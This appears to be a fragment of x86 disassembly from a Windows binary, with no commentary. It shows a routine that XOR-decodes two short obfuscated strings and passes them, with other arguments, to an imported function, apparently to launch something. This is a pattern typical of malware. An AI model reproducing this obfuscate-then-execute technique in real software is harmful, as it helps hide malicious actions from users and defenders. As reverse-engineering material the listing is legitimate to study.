mov byte [ebp - 4], 9
cmp dword [esi + 0x14], 0xf
jbe 0x40d29f
mov esi, dword [esi]
cmp byte [0x439ea3], 0
mov eax, dword [0x439e9c]
mov ecx, dword [str.DX_XZJ]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
je 0x40d2cd
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x3c], dl
inc ecx
cmp ecx, 8
jl 0x40d2bb
mov eax, dword [str.XHT_]
mov ecx, edi
mov dword [ebp - 0x30], eax
mov al, byte [0x439d4c]
mov byte [ebp - 0x2c], al
xor edx, edx
mov eax, ecx
div ebx
add dl, bl
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 5
jl 0x40d2df
push edi
push edi
push esi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
push edi
call dword [0x441840]
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00402616
test esi, esi
lea ecx, [ebp - 0x28]
setne bl
call fcn.00402616
mov al, bl
call fcn.0041a8b9
ret